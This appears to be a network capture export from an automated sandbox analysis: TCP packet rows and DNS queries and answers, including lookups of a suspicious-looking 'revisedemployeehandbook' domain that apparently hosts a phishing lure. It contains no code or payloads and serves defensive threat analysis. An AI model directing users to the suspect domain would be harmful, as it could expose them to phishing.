Apr 2, 2025 08:39:11.073709011 CEST	61639	443	192.168.2.17	104.18.11.207
Apr 2, 2025 08:39:11.199290991 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:11.233830929 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:13.487070084 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:13.488312006 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:13.520258904 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:13.520396948 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:13.584384918 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:13.585498095 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:13.618194103 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:13.620157957 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:13.623117924 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:13.624496937 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:13.772814989 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:13.772861958 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:13.773493052 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:13.774513006 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:13.872690916 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:13.876519918 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:13.876760960 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:13.876801014 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:13.880809069 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:13.886930943 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:13.890459061 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:13.892368078 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:13.985261917 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:13.985276937 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:13.985284090 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:13.985295057 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:13.985737085 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:13.985821962 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:13.988668919 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:13.990942001 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:14.083568096 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:14.119951963 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:14.274454117 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:14.274590969 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:14.295928001 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:14.372937918 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:14.373742104 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:14.374121904 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:14.374269009 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:14.395064116 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:14.598937988 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:14.696166992 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:14.902817965 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:15.001499891 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:15.206826925 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:15.304529905 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:15.507886887 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:15.605180025 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:15.807771921 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:15.905241966 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:16.319226027 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:16.416654110 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:17.226787090 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:17.326406002 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:18.792326927 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:18.792351007 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:18.795182943 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:18.846801043 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:18.846942902 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:18.945189953 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:18.945703030 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:18.945744038 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:18.946103096 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:18.947206020 CEST	55898	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:19.045799971 CEST	443	55898	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:19.048698902 CEST	443	55898	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:19.049382925 CEST	443	55898	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:19.049681902 CEST	443	55898	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:19.050348997 CEST	55898	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:19.050416946 CEST	55898	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:19.050597906 CEST	55898	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:19.147907972 CEST	443	55898	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:19.147924900 CEST	443	55898	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:19.147954941 CEST	443	55898	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:19.147968054 CEST	443	55898	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:19.148475885 CEST	55898	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:19.148581028 CEST	55898	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:19.247746944 CEST	443	55898	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:19.280740023 CEST	55898	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:19.337546110 CEST	443	55898	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:19.376749039 CEST	55898	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:21.856019974 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:21.856200933 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:21.909830093 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:21.911142111 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:21.911247015 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:21.953864098 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:21.955926895 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:21.962999105 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:21.963339090 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:22.008333921 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:22.009557009 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:22.011303902 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:22.022100925 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:22.022432089 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:22.154670954 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:22.154793978 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:22.194272041 CEST	443	56491	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:22.200596094 CEST	55898	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:22.226885080 CEST	56491	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:22.252293110 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:22.253473997 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:22.253840923 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:22.254143000 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:22.298347950 CEST	443	55898	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:22.355437994 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:22.355550051 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:22.393577099 CEST	443	55898	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:22.433936119 CEST	55898	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:22.452996969 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:22.454000950 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:22.454195976 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:22.454556942 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:22.586539984 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:22.586688995 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:22.684628010 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:22.685806036 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:22.686033964 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:22.686038971 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:22.718846083 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:42.296049118 CEST	62695	443	192.168.2.17	104.21.16.214
Apr 2, 2025 08:39:42.394165039 CEST	443	62695	104.21.16.214	192.168.2.17
Apr 2, 2025 08:39:42.395615101 CEST	443	62695	104.21.16.214	192.168.2.17
Apr 2, 2025 08:39:42.395828009 CEST	443	62695	104.21.16.214	192.168.2.17
Apr 2, 2025 08:39:42.395872116 CEST	443	62695	104.21.16.214	192.168.2.17
Apr 2, 2025 08:39:42.395885944 CEST	443	62695	104.21.16.214	192.168.2.17
Apr 2, 2025 08:39:42.396147013 CEST	62695	443	192.168.2.17	104.21.16.214
Apr 2, 2025 08:39:42.396637917 CEST	62695	443	192.168.2.17	104.21.16.214
Apr 2, 2025 08:39:42.497451067 CEST	443	62695	104.21.16.214	192.168.2.17
Apr 2, 2025 08:39:42.497503042 CEST	443	62695	104.21.16.214	192.168.2.17
Apr 2, 2025 08:39:42.497515917 CEST	443	62695	104.21.16.214	192.168.2.17
Apr 2, 2025 08:39:42.497528076 CEST	443	62695	104.21.16.214	192.168.2.17
Apr 2, 2025 08:39:42.498011112 CEST	62695	443	192.168.2.17	104.21.16.214
Apr 2, 2025 08:39:42.499577999 CEST	62695	443	192.168.2.17	104.21.16.214
Apr 2, 2025 08:39:42.596880913 CEST	443	62695	104.21.16.214	192.168.2.17
Apr 2, 2025 08:39:42.598423958 CEST	62695	443	192.168.2.17	104.21.16.214
Apr 2, 2025 08:39:42.698386908 CEST	443	62695	104.21.16.214	192.168.2.17
Apr 2, 2025 08:39:42.724026918 CEST	62695	443	192.168.2.17	104.21.16.214
Apr 2, 2025 08:39:50.342858076 CEST	64267	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:50.343017101 CEST	64267	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:50.343302011 CEST	64267	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:50.343377113 CEST	64267	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:50.440717936 CEST	443	64267	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:50.441450119 CEST	64267	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:50.441833019 CEST	443	64267	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:50.441879988 CEST	443	64267	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:50.442050934 CEST	64267	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:50.442297935 CEST	443	64267	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:50.442351103 CEST	443	64267	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:50.442428112 CEST	64267	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:50.442468882 CEST	64267	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:50.442948103 CEST	443	64267	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:50.443445921 CEST	443	64267	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:50.443593025 CEST	64267	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:50.538682938 CEST	443	64267	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:50.538986921 CEST	443	64267	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:50.539273024 CEST	64267	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:55.215044022 CEST	62467	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:55.215254068 CEST	62467	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:55.215636969 CEST	62467	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:55.215744019 CEST	62467	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:55.313323975 CEST	443	62467	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:55.313782930 CEST	443	62467	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:55.313795090 CEST	443	62467	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:55.313992023 CEST	443	62467	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:55.314003944 CEST	443	62467	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:55.314105034 CEST	62467	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:55.314245939 CEST	62467	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:55.314351082 CEST	62467	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:55.314409971 CEST	62467	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:55.314850092 CEST	443	62467	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:55.316042900 CEST	443	62467	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:55.316267967 CEST	62467	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:55.317507982 CEST	57109	443	192.168.2.17	142.250.64.100
Apr 2, 2025 08:39:55.317714930 CEST	57109	443	192.168.2.17	142.250.64.100
Apr 2, 2025 08:39:55.411031008 CEST	443	62467	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:55.411051035 CEST	443	62467	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:55.413175106 CEST	62467	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:55.413968086 CEST	443	57109	142.250.64.100	192.168.2.17
Apr 2, 2025 08:39:55.414108038 CEST	443	57109	142.250.64.100	192.168.2.17
Apr 2, 2025 08:39:55.414119005 CEST	443	57109	142.250.64.100	192.168.2.17
Apr 2, 2025 08:39:55.414678097 CEST	57109	443	192.168.2.17	142.250.64.100
Apr 2, 2025 08:39:55.414829969 CEST	57109	443	192.168.2.17	142.250.64.100
Apr 2, 2025 08:39:55.432204008 CEST	443	57109	142.250.64.100	192.168.2.17
Apr 2, 2025 08:39:55.452959061 CEST	57109	443	192.168.2.17	142.250.64.100
Apr 2, 2025 08:39:55.503875017 CEST	443	57109	142.250.64.100	192.168.2.17
Apr 2, 2025 08:39:55.532916069 CEST	57109	443	192.168.2.17	142.250.64.100
Apr 2, 2025 08:39:57.395113945 CEST	443	62695	104.21.16.214	192.168.2.17
Apr 2, 2025 08:39:58.460047960 CEST	54398	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:58.559151888 CEST	443	54398	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:58.560723066 CEST	443	54398	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:58.564627886 CEST	54398	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:58.564627886 CEST	54398	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:58.565221071 CEST	54398	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:58.662694931 CEST	443	54398	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:58.662734985 CEST	443	54398	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:58.662797928 CEST	443	54398	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:58.662813902 CEST	443	54398	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:58.663271904 CEST	54398	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:58.663400888 CEST	54398	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:58.664469957 CEST	443	54398	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:58.760957956 CEST	443	54398	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:58.789149046 CEST	54398	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:58.941775084 CEST	443	54398	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:58.947879076 CEST	63068	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:58.981076956 CEST	54398	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:59.045496941 CEST	443	63068	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:59.047138929 CEST	443	63068	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:59.047821045 CEST	63068	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:59.048034906 CEST	63068	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:59.145066977 CEST	443	63068	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:59.145097017 CEST	443	63068	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:59.145112038 CEST	443	63068	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:59.145128965 CEST	443	63068	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:59.145637035 CEST	63068	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:59.145742893 CEST	63068	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:59.242074013 CEST	443	63068	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:59.269202948 CEST	63068	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:59.331588984 CEST	443	63068	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:59.365139961 CEST	63068	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:40:03.156160116 CEST	138	138	192.168.2.17	192.168.2.255
Apr 2, 2025 08:40:03.998923063 CEST	54398	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:40:04.100652933 CEST	443	54398	172.67.215.243	192.168.2.17
Apr 2, 2025 08:40:04.311059952 CEST	54398	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:40:04.391665936 CEST	443	54398	172.67.215.243	192.168.2.17
Apr 2, 2025 08:40:04.396212101 CEST	63068	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:40:04.408188105 CEST	443	54398	172.67.215.243	192.168.2.17
Apr 2, 2025 08:40:04.422971010 CEST	54398	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:40:04.501518011 CEST	443	63068	172.67.215.243	192.168.2.17
Apr 2, 2025 08:40:04.683435917 CEST	443	63068	172.67.215.243	192.168.2.17
Apr 2, 2025 08:40:04.711062908 CEST	63068	443	192.168.2.17	172.67.215.243

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 2, 2025 08:38:51.099272966 CEST	192.168.2.17	1.1.1.1	0xf1b3	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:51.100131035 CEST	192.168.2.17	1.1.1.1	0xcba3	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Apr 2, 2025 08:38:51.541218042 CEST	192.168.2.17	1.1.1.1	0x60d4	Standard query (0)	revisedemployeehandbook.journeythroughruins.de	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:51.541371107 CEST	192.168.2.17	1.1.1.1	0x339b	Standard query (0)	revisedemployeehandbook.journeythroughruins.de	65	IN (0x0001)	false
Apr 2, 2025 08:38:52.285185099 CEST	192.168.2.17	1.1.1.1	0x9fa4	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:52.285399914 CEST	192.168.2.17	1.1.1.1	0xf84e	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 2, 2025 08:38:52.285792112 CEST	192.168.2.17	1.1.1.1	0xffa3	Standard query (0)	mailmeteor.com	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:52.285965919 CEST	192.168.2.17	1.1.1.1	0xf5a0	Standard query (0)	mailmeteor.com	65	IN (0x0001)	false
Apr 2, 2025 08:38:52.613497972 CEST	192.168.2.17	1.1.1.1	0x758f	Standard query (0)	mailmeteor.com	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:52.613666058 CEST	192.168.2.17	1.1.1.1	0x891c	Standard query (0)	mailmeteor.com	65	IN (0x0001)	false
Apr 2, 2025 08:38:52.851166010 CEST	192.168.2.17	1.1.1.1	0x20cb	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:52.851316929 CEST	192.168.2.17	1.1.1.1	0x25b	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 2, 2025 08:38:53.329200029 CEST	192.168.2.17	1.1.1.1	0x23e4	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:53.329338074 CEST	192.168.2.17	1.1.1.1	0x20cc	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 2, 2025 08:38:53.851780891 CEST	192.168.2.17	1.1.1.1	0x70dc	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:53.851939917 CEST	192.168.2.17	1.1.1.1	0xaa04	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 2, 2025 08:38:55.155621052 CEST	192.168.2.17	1.1.1.1	0x162b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:55.155855894 CEST	192.168.2.17	1.1.1.1	0x62ca	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 2, 2025 08:38:55.442198038 CEST	192.168.2.17	1.1.1.1	0x4bfe	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:55.442351103 CEST	192.168.2.17	1.1.1.1	0xca3e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Apr 2, 2025 08:38:55.442724943 CEST	192.168.2.17	1.1.1.1	0x1bd3	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:55.442847013 CEST	192.168.2.17	1.1.1.1	0xdf8e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 2, 2025 08:38:51.199982882 CEST	1.1.1.1	192.168.2.17	0xf1b3	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 2, 2025 08:38:51.199982882 CEST	1.1.1.1	192.168.2.17	0xf1b3	No error (0)	googlehosted.l.googleusercontent.com		142.250.72.97	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:51.208580017 CEST	1.1.1.1	192.168.2.17	0xcba3	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 2, 2025 08:38:51.705672979 CEST	1.1.1.1	192.168.2.17	0x339b	No error (0)	revisedemployeehandbook.journeythroughruins.de			65	IN (0x0001)	false
Apr 2, 2025 08:38:51.831738949 CEST	1.1.1.1	192.168.2.17	0x60d4	No error (0)	revisedemployeehandbook.journeythroughruins.de		172.67.215.243	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:51.831738949 CEST	1.1.1.1	192.168.2.17	0x60d4	No error (0)	revisedemployeehandbook.journeythroughruins.de		104.21.16.214	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:52.382925987 CEST	1.1.1.1	192.168.2.17	0xf84e	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 2, 2025 08:38:52.384146929 CEST	1.1.1.1	192.168.2.17	0x9fa4	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:52.384146929 CEST	1.1.1.1	192.168.2.17	0x9fa4	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:52.389698029 CEST	1.1.1.1	192.168.2.17	0xffa3	No error (0)	mailmeteor.com		172.67.187.19	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:52.389698029 CEST	1.1.1.1	192.168.2.17	0xffa3	No error (0)	mailmeteor.com		104.21.92.58	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:52.390635967 CEST	1.1.1.1	192.168.2.17	0xf5a0	No error (0)	mailmeteor.com			65	IN (0x0001)	false
Apr 2, 2025 08:38:52.713186979 CEST	1.1.1.1	192.168.2.17	0x758f	No error (0)	mailmeteor.com		104.21.92.58	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:52.713186979 CEST	1.1.1.1	192.168.2.17	0x758f	No error (0)	mailmeteor.com		172.67.187.19	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:52.719276905 CEST	1.1.1.1	192.168.2.17	0x891c	No error (0)	mailmeteor.com			65	IN (0x0001)	false
Apr 2, 2025 08:38:52.949018002 CEST	1.1.1.1	192.168.2.17	0x25b	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 2, 2025 08:38:52.950077057 CEST	1.1.1.1	192.168.2.17	0x20cb	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:52.950077057 CEST	1.1.1.1	192.168.2.17	0x20cb	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:53.426764965 CEST	1.1.1.1	192.168.2.17	0x23e4	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:53.426764965 CEST	1.1.1.1	192.168.2.17	0x23e4	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:53.426968098 CEST	1.1.1.1	192.168.2.17	0x20cc	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 2, 2025 08:38:53.949569941 CEST	1.1.1.1	192.168.2.17	0x70dc	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:55.253592968 CEST	1.1.1.1	192.168.2.17	0x62ca	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 2, 2025 08:38:55.255234957 CEST	1.1.1.1	192.168.2.17	0x162b	No error (0)	www.google.com		142.251.40.228	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:55.538930893 CEST	1.1.1.1	192.168.2.17	0xca3e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Apr 2, 2025 08:38:55.539695978 CEST	1.1.1.1	192.168.2.17	0x1bd3	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:55.539695978 CEST	1.1.1.1	192.168.2.17	0x1bd3	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:55.540163994 CEST	1.1.1.1	192.168.2.17	0xdf8e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Apr 2, 2025 08:38:55.540597916 CEST	1.1.1.1	192.168.2.17	0x4bfe	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
